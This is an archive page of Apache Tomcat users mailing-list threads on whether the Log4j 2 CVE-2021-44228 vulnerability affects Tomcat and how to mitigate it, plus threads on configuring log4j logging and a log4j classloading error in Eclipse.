> If your server can reach arbitrary servers on the Internet, you can execute 
> random code in the shell.
> 
> The attack is not using RMI remote class loading but uses Tomcats BeanFactory 
> to create an ELExpression library. As the BeanFactory has features to 
> manipulate instantiated classes, it can inject a Script. In plain Java 
> application this would still be blocked by RMI class loading but Tomcat 
> circumvents this.
> 
> The attack is explained in 2019 by 
> https://www.veracode.com/blog/research/exploiting-jndi-injections-java
> 
> 
> Cheers 
> 
> Sebastian


-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

Hi all,

I reproduced the attack against Tomcat 9.0.56 with latest Java 8 and Java 11. 
Actually the Java path version is not relevant. 

It is possible with a deployed Tomcat 9 and Spring Boot with Tomcat embedded.

If your server can reach arbitrary servers on the Internet, you can execute 
random code in the shell.

The attack is not using RMI remote class loading but uses Tomcats BeanFactory 
to create an ELExpression library. As the BeanFactory has features to 
manipulate instantiated classes, it can inject a Script. In plain Java 
application this would still be blocked by RMI class loading but Tomcat 
circumvents this.

The attack is explained in 2019 by 
https://www.veracode.com/blog/research/exploiting-jndi-injections-java


Cheers 

Sebastian

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-11 Thread Christopher Schultz


All,

On 12/11/21 03:18, Mark Thomas wrote:

On 10/12/2021 22:17, James H. H. Lampert wrote:

A customer brought this to my attention:

https://www.randori.com/blog/cve-2021-44228/

I have no idea how (or if) Tomcat is affected. I have only the vaguest 
idea what this vulnerability even *is.*


Can anybody here shed any light?


Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


Applications may have a dependency on log4j. You should seek support 
from your application vendors on how best to address this vulnerability 
although disabling the vulnerable feature is likely to be the simplest 
solution.


Tomcat 8.0.x and earlier as well as the first few releases of 8.5.x 
provided optional support for switching Tomcat's internal logging to 
log4j 1.x. Anyone one using these very old (5+ years), unsupported 
versions that switched to using log4j 1.x is may need to address this 
vulnerability although it is not clear if log4j 1.x is affected.


This JNDI thing is a log4j 2 feature, so log4j 1.x should not be affected.

Regardless, they'll need to address the Tomcat vulnerabilities that have 
been made public in those 5+ years.


It is possible to configure Tomcat to use log4j 2.x for its internal 
logging. This requires explicit configuration and the addition of the 
log4j 2.x library. Anyone who has switched Tomcat's internal logging to 
log4j 2.x is likely to need to address this vulnerability. Again, 
disabling the vulnerable feature is likely to be the simplest solution.


As Jon McAlexander has pointed out, adding the following to 
CATALINA_OPTS in setenv.sh / setenv.bat will disable the problematic 
feature


-Dlog4j2.formatMsgNoLookups=true


Just to be clear, this only works for log4j versions 2.10 and later. If 
you are running earlier than that, you may want to upgrade. Or see my 
other post in this thread.


-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-11 Thread Christopher Schultz


All,

On 12/11/21 03:18, Mark Thomas wrote:

On 10/12/2021 22:17, James H. H. Lampert wrote:

A customer brought this to my attention:

https://www.randori.com/blog/cve-2021-44228/

I have no idea how (or if) Tomcat is affected. I have only the vaguest 
idea what this vulnerability even *is.*


Can anybody here shed any light?


Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


+1


Applications may have a dependency on log4j.


+1


-Dlog4j2.formatMsgNoLookups=true


This feature should have been disabled by default in the first place. :/

I have a few other comments for everyone who is losing their fscking 
minds over this:


0. This isn't a 0-day, so stop calling it that.

1. Calm down. This isn't fscking heartbleed.

2. If you are using a recent Java version, you are fine. Remote 
classloading of the type being used in these attacks was disabled by 
default in Java 8u121[1] and similar-era (2017, people!) JREs.


2. Why is *anyone* allowing arbitrary outbound LDAP connections from 
their servers? I'm honestly very confused and astounded that this is a 
problem for network servers *at all* because any idiot should have this 
in their firewall configuration:


OUTBOUND 389 -> DROP
OUTBOUND 636 -> DROP

In fact, everyone should have THIS:

OUTBOUND [stuff I actually use] -> ALLOW
OUTBOUND * -> DROP

The fact that this is causing "major problems" for the world is down to 
one of two things:


1. There isn't actually any major problem at all
2. Admins everywhere don't actually know anything about security

-chris

[1] https://www.oracle.com/java/technologies/javase/8u121-relnotes.html

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-11 Thread Mark Thomas


On 10/12/2021 22:17, James H. H. Lampert wrote:

A customer brought this to my attention:

https://www.randori.com/blog/cve-2021-44228/

I have no idea how (or if) Tomcat is affected. I have only the vaguest 
idea what this vulnerability even *is.*


Can anybody here shed any light?


Currently supported Tomcat versions (8.5.x, 9.0.x, 10.0.x and 10.1.x) 
have no dependency on log4j.


Applications may have a dependency on log4j. You should seek support 
from your application vendors on how best to address this vulnerability 
although disabling the vulnerable feature is likely to be the simplest 
solution.


Tomcat 8.0.x and earlier as well as the first few releases of 8.5.x 
provided optional support for switching Tomcat's internal logging to 
log4j 1.x. Anyone one using these very old (5+ years), unsupported 
versions that switched to using log4j 1.x is may need to address this 
vulnerability although it is not clear if log4j 1.x is affected. 
Regardless, they'll need to address the Tomcat vulnerabilities that have 
been made public in those 5+ years.


It is possible to configure Tomcat to use log4j 2.x for its internal 
logging. This requires explicit configuration and the addition of the 
log4j 2.x library. Anyone who has switched Tomcat's internal logging to 
log4j 2.x is likely to need to address this vulnerability. Again, 
disabling the vulnerable feature is likely to be the simplest solution.


As Jon McAlexander has pointed out, adding the following to 
CATALINA_OPTS in setenv.sh / setenv.bat will disable the problematic feature


-Dlog4j2.formatMsgNoLookups=true

Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

RE: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-10 Thread jonmcalexander

If you aren't able to get the "fixed" version of the jar that fixes the 
vulnerability, I would suggest adding this to your Java Options for Tomcat:

-Dlog4j2.formatMsgNoLookups=true

Thanks,

Dream * Excel * Explore * Inspire
Jon McAlexander
Infrastructure Engineer
Asst Vice President

Middleware Product Engineering
Enterprise CIO | EAS | Middleware | Infrastructure Solutions

8080 Cobblestone Rd | Urbandale, IA 50322
MAC: F4469-010
Tel 515-988-2508 | Cell 515-988-2508

jonmcalexan...@wellsfargo.com
This message may contain confidential and/or privileged information. If you are 
not the addressee or authorized to receive this for the addressee, you must not 
use, copy, disclose, or take any action based on this message or any 
information herein. If you have received this message in error, please advise 
the sender immediately by reply e-mail and delete this message. Thank you for 
your cooperation.


> -Original Message-
> From: James H. H. Lampert 
> Sent: Friday, December 10, 2021 4:17 PM
> To: Tomcat Users List 
> Subject: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect
> Tomcat?
> 
> A customer brought this to my attention:
> 
> https://urldefense.com/v3/__https://www.randori.com/blog/cve-2021-
> 44228/__;!!F9svGWnIaVPGSwU!4F2Gxy74aEjsyAmQbarXs0sh-
> EMIt2eM6h6liBLnKEwxjqWAPfIMcp1Od6nSrgSx9n0rFIs$
> 
> I have no idea how (or if) Tomcat is affected. I have only the vaguest idea
> what this vulnerability even *is.*
> 
> Can anybody here shed any light?
> 
> --
> JHHL
> 
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org

CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-10 Thread James H. H. Lampert


A customer brought this to my attention:

https://www.randori.com/blog/cve-2021-44228/

I have no idea how (or if) Tomcat is affected. I have only the vaguest 
idea what this vulnerability even *is.*


Can anybody here shed any light?

--
JHHL

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Using log4j for logging

2021-06-29 Thread Mark Thomas


On 29/06/2021 17:53, Niranjan Rao wrote:

We are actually using log4j2, I should have been more clearer.


Ack.

Does this mean we don't have to use specialized juli jar and adapters 
and many of the stackoverflow answers are out of date?


Yes.

I have seen 
answers saying download juli adapter version from tomcat version 7 and 
use it for 9 or similar.


I guess that might work but I'd be surprised.

Mark



Regards,

Niranjan

On 6/29/21 12:24 AM, Mark Thomas wrote:

On 29/06/2021 01:11, Niranjan Rao wrote:

Greetings,

I wanted to setup log4j for tomcat logs and google searches seems to 
indicate that this is possible. Many articles speak about downloading 
tomcat-juli-adapters.jar from bin/extras directory.


I found out that for tomcat version 9, extras directory is last 
present on version 9.0.14 
(https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.14/bin/). 
Latter versions do not have extras directory.


Is tomcat-juli-adapters file no longer required? What will be the 
best way to configure tomcat logs using log4j.


log4j was declared end of life in 2015. If you really need to use 
log4j then there are some pointers here:


https://stackoverflow.com/questions/869945/how-to-send-java-util-logging-to-log4j 



I'd recommend the answer from Emmanuel Bourg.

If you are using log4j2 then you can use:
https://logging.apache.org/log4j/2.x/log4j-jpl/index.html

Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org




-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org




-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Using log4j for logging

2021-06-29 Thread Niranjan Rao


We are actually using log4j2, I should have been more clearer.

Does this mean we don't have to use specialized juli jar and adapters 
and many of the stackoverflow answers are out of date? I have seen 
answers saying download juli adapter version from tomcat version 7 and 
use it for 9 or similar.


Regards,

Niranjan

On 6/29/21 12:24 AM, Mark Thomas wrote:

On 29/06/2021 01:11, Niranjan Rao wrote:

Greetings,

I wanted to setup log4j for tomcat logs and google searches seems to 
indicate that this is possible. Many articles speak about downloading 
tomcat-juli-adapters.jar from bin/extras directory.


I found out that for tomcat version 9, extras directory is last 
present on version 9.0.14 
(https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.14/bin/). 
Latter versions do not have extras directory.


Is tomcat-juli-adapters file no longer required? What will be the 
best way to configure tomcat logs using log4j.


log4j was declared end of life in 2015. If you really need to use 
log4j then there are some pointers here:


https://stackoverflow.com/questions/869945/how-to-send-java-util-logging-to-log4j 



I'd recommend the answer from Emmanuel Bourg.

If you are using log4j2 then you can use:
https://logging.apache.org/log4j/2.x/log4j-jpl/index.html

Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org




-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Using log4j for logging

2021-06-29 Thread Mark Thomas


On 29/06/2021 01:11, Niranjan Rao wrote:

Greetings,

I wanted to setup log4j for tomcat logs and google searches seems to 
indicate that this is possible. Many articles speak about downloading 
tomcat-juli-adapters.jar from bin/extras directory.


I found out that for tomcat version 9, extras directory is last present 
on version 9.0.14 
(https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.14/bin/). Latter 
versions do not have extras directory.


Is tomcat-juli-adapters file no longer required? What will be the best 
way to configure tomcat logs using log4j.


log4j was declared end of life in 2015. If you really need to use log4j 
then there are some pointers here:


https://stackoverflow.com/questions/869945/how-to-send-java-util-logging-to-log4j

I'd recommend the answer from Emmanuel Bourg.

If you are using log4j2 then you can use:
https://logging.apache.org/log4j/2.x/log4j-jpl/index.html

Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Using log4j for logging

2021-06-28 Thread Niranjan Rao


Greetings,

I wanted to setup log4j for tomcat logs and google searches seems to 
indicate that this is possible. Many articles speak about downloading 
tomcat-juli-adapters.jar from bin/extras directory.


I found out that for tomcat version 9, extras directory is last present 
on version 9.0.14 
(https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.14/bin/). Latter 
versions do not have extras directory.


Is tomcat-juli-adapters file no longer required? What will be the best 
way to configure tomcat logs using log4j.



My main interest is uploading access logs and catalina.out to AWS/S3 
bucket. For our application logs, we are already doing this. If there is 
a better way to achieve this, open to that solution too.



Regards,

Niranjan


-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: log4j failed on tomcat9

More test info trying to isolate the problem:
Task:
  developing  web app project on eclipse 2019 version. main project
includes a dependent project (sub-project) on the same eclipse.

Run main app as java app:
  main app vm parameters include: -Dlog4j.configurationFile,
LogManager.getLogger() returns correct logger in main app as well as
sub-project code. meaning, Log4j2 messages can print as expected. no error.

Run web app on tomcat 9, 8 or 7:
For tomcat runtime classpath, eclipse requires to add the sub-project and
all the jars needed (include log4j2 jars), otherwise it complains with no
class found error. However, after log4j2 jars are added, it throws the
above " ERROR StatusLogger Unrecognized format specifier " errors. The web
app can run. Log4j2 messages can print in the main app codes. BUT, Logger
in the sub-project codes does not print messages because it has error.

The cause may be in tomcat or in log4j2, or even eclipse. Any idea?

thanks,
-aj



On Fri, May 8, 2020 at 11:21 AM AJ Chen  wrote:

> Hi Mark,
> I also use log4j2 in my web app. dev in eclipse, when adding the log4j2
> jars to tomcat 7,8, or 9 runtime, it has this problem, log4j2.xml is
> provided as VM parameter. Web app firsts instantiates log4j2, and then
> tries to config log4j2 again,  throwing the following error due to double
> class loading:
>
> ERROR StatusLogger Unrecognized format specifier [d]
> ERROR StatusLogger Unrecognized conversion specifier [d] starting at
> position 16 in conversion pattern.
> ERROR StatusLogger Unrecognized format specifier [thread]
> ERROR StatusLogger Unrecognized conversion specifier [thread] starting at
> position 25 in conversion pattern.
> ERROR StatusLogger Unrecognized format specifier [level]
> ERROR StatusLogger Unrecognized conversion specifier [level] starting at
> position 35 in conversion pattern.
> ERROR StatusLogger Unrecognized format specifier [logger]
> ERROR StatusLogger Unrecognized conversion specifier [logger] starting at
> position 47 in conversion pattern.
> ERROR StatusLogger Unrecognized format specifier [msg]
> ERROR StatusLogger Unrecognized conversion specifier [msg] starting at
> position 54 in conversion pattern.
> ERROR StatusLogger Unrecognized format specifier [n]
> ERROR StatusLogger Unrecognized conversion specifier [n] starting at
> position 56 in conversion pattern.
> ERROR StatusLogger Reconfiguration failed: No configuration found for
> '18b4aac2' at 'null' in 'null'
>
> Please note there is problem in the simple log4j2.xml for testing, which
> can be loaded successfully when there is no double class loading.
>
> -aj
>
>
> On Thu, May 7, 2020 at 1:53 PM Mark Thomas  wrote:
>
>> On 07/05/2020 21:40, AJ Chen wrote:
>> > I use eclipse to develop web app for tomcat, Web app has a dependent
>> > project and so the dependent project and all jars are added on the
>> > classpath for tomcat runtime. Log4j works on tomcat 6. But after
>> upgrate to
>> > tomcat 9, log4j failed to start with the following error. Anyone has
>> seen
>> > similar problem? log4j2 also failed. Thanks.
>>
>> Note: log4j is no longer supported.
>>
>> How, exactly, is log4j configured? What JAR files and what configuration
>> files are where? Any other configuration?
>>
>> Mark
>>
>>
>> >
>> > log4j:ERROR A "org.apache.log4j.DailyRollingFileAppender" object is not
>> > assignable to a "org.apache.log4j.Appender" variable.
>> > log4j:ERROR The class "org.apache.log4j.Appender" was loaded by
>> > log4j:ERROR [sun.misc.Launcher$AppClassLoader@18b4aac2] whereas object
>> of
>> > type
>> > log4j:ERROR "org.apache.log4j.DailyRollingFileAppender" was loaded by
>> > [ParallelWebappClassLoader
>> >
>> > aj
>> >
>>
>>
>> -
>> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
>> For additional commands, e-mail: users-h...@tomcat.apache.org
>>
>>

Re: log4j failed on tomcat9

Hi Mark,
I also use log4j2 in my web app. dev in eclipse, when adding the log4j2
jars to tomcat 7,8, or 9 runtime, it has this problem, log4j2.xml is
provided as VM parameter. Web app firsts instantiates log4j2, and then
tries to config log4j2 again,  throwing the following error due to double
class loading:

ERROR StatusLogger Unrecognized format specifier [d]
ERROR StatusLogger Unrecognized conversion specifier [d] starting at
position 16 in conversion pattern.
ERROR StatusLogger Unrecognized format specifier [thread]
ERROR StatusLogger Unrecognized conversion specifier [thread] starting at
position 25 in conversion pattern.
ERROR StatusLogger Unrecognized format specifier [level]
ERROR StatusLogger Unrecognized conversion specifier [level] starting at
position 35 in conversion pattern.
ERROR StatusLogger Unrecognized format specifier [logger]
ERROR StatusLogger Unrecognized conversion specifier [logger] starting at
position 47 in conversion pattern.
ERROR StatusLogger Unrecognized format specifier [msg]
ERROR StatusLogger Unrecognized conversion specifier [msg] starting at
position 54 in conversion pattern.
ERROR StatusLogger Unrecognized format specifier [n]
ERROR StatusLogger Unrecognized conversion specifier [n] starting at
position 56 in conversion pattern.
ERROR StatusLogger Reconfiguration failed: No configuration found for
'18b4aac2' at 'null' in 'null'

Please note there is problem in the simple log4j2.xml for testing, which
can be loaded successfully when there is no double class loading.

-aj

On Thu, May 7, 2020 at 1:53 PM Mark Thomas  wrote:

> On 07/05/2020 21:40, AJ Chen wrote:
> > I use eclipse to develop web app for tomcat, Web app has a dependent
> > project and so the dependent project and all jars are added on the
> > classpath for tomcat runtime. Log4j works on tomcat 6. But after upgrate
> to
> > tomcat 9, log4j failed to start with the following error. Anyone has seen
> > similar problem? log4j2 also failed. Thanks.
>
> Note: log4j is no longer supported.
>
> How, exactly, is log4j configured? What JAR files and what configuration
> files are where? Any other configuration?
>
> Mark
>
>
> >
> > log4j:ERROR A "org.apache.log4j.DailyRollingFileAppender" object is not
> > assignable to a "org.apache.log4j.Appender" variable.
> > log4j:ERROR The class "org.apache.log4j.Appender" was loaded by
> > log4j:ERROR [sun.misc.Launcher$AppClassLoader@18b4aac2] whereas object
> of
> > type
> > log4j:ERROR "org.apache.log4j.DailyRollingFileAppender" was loaded by
> > [ParallelWebappClassLoader
> >
> > aj
> >
>
>
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
>
>

Re: log4j failed on tomcat9

Hi Chris,
my web app META-INF/lib has log4j jar,  but CATALINA_BASE/lib does not have
log4j jar listed.
It should be double loading class issue. I need to find out how to exclude
the unwanted classloading.
-aj


On Thu, May 7, 2020 at 2:48 PM Christopher Schultz <
ch...@christopherschultz.net> wrote:

> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA256
>
> AJ,
>
> On 5/7/20 16:40, AJ Chen wrote:
> > I use eclipse to develop web app for tomcat, Web app has a
> > dependent project and so the dependent project and all jars are
> > added on the classpath for tomcat runtime. Log4j works on tomcat 6.
> > But after upgrate to tomcat 9, log4j failed to start with the
> > following error. Anyone has seen similar problem? log4j2 also
> > failed. Thanks.
> >
> > log4j:ERROR A "org.apache.log4j.DailyRollingFileAppender" object is
> > not assignable to a "org.apache.log4j.Appender" variable.
> > log4j:ERROR The class "org.apache.log4j.Appender" was loaded by
> > log4j:ERROR [sun.misc.Launcher$AppClassLoader@18b4aac2] whereas
> > object of type log4j:ERROR
> > "org.apache.log4j.DailyRollingFileAppender" was loaded by
> > [ParallelWebappClassLoader
>
> Can I just say that the above is a masterpiece of diagnostic error
> messaging?
>
> I can already tell that you have a classloading issue, and it's almost
> certain that you have log4j.jar both in CATALINA_BASE/lib and your web
> application's META-INF/lib directory. Is that the case?
>
> - -chris
> -BEGIN PGP SIGNATURE-
> Comment: Using GnuPG with Thunderbird - https://www.enigmail.net/
>
> iQIzBAEBCAAdFiEEMmKgYcQvxMe7tcJcHPApP6U8pFgFAl60gjsACgkQHPApP6U8
> pFgydxAAvnJ1tJFklOMnsHnx+gFn7m0UkWjs1Sj+1zurmjuAzd64aXjwt8Mh2FRH
> JaJ4R0kYaHruoJxNDKelS+FIYgn1qe7D7LE7uq6gmNHg5b1JruoUXbk2GcaTfM55
> htu9idB/JOyx5lmlP4tR6E/K7HctM6h2A7zuJ2s98VM2WljU/Ts6v5R1C53JbXq6
> gzB0g6XYyVnuQx/9qoSyOSqKIBp3jLp2G8JlKje7SzKZcJeXSzq0HPUX6Do15VK1
> Rl8ineKRjwDHgujjN3DiXqh+BnbdY6URsFApwGVxNLqh/ykIQYIHVxCGuRv9+W3D
> i0Uxx9C2p6rb6Nr8Tk6lxZjx1IMCC0JuKaunHPt6bQ26s/VNEROU5aztQ5RF/ynN
> pjFvwa/UIR6/i5u7mtGo2WBRLmH04KOu/7ZS8FL4ieKHXuaGGDvZlTe3AZ8hBPNx
> 2jHtmpqWiQaw1+lMnL7RxrmGBISIWSH4+MAKXWDzM4OSeTsKxTv2gcZ14Z9HfYZm
> JGO3DGgOSfWAnFSTYX9L/NodRfIDXLMPTAG/epWzSSiF5tf6nAzWNj6Vbi1L0VnS
> 8IdfqHavSGeIqhDqwTSwuQhXYdoc6AyBdY5WIYEGiUNu789b9SjNlY8/EWqjrJKx
> 3Au9YxYkMTqi2SL/r1cCd8HU+imS9L3aSZPKaOn73AsTtux/VCA=
> =IVj+
> -END PGP SIGNATURE-
>
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
>
>

Re: log4j failed on tomcat9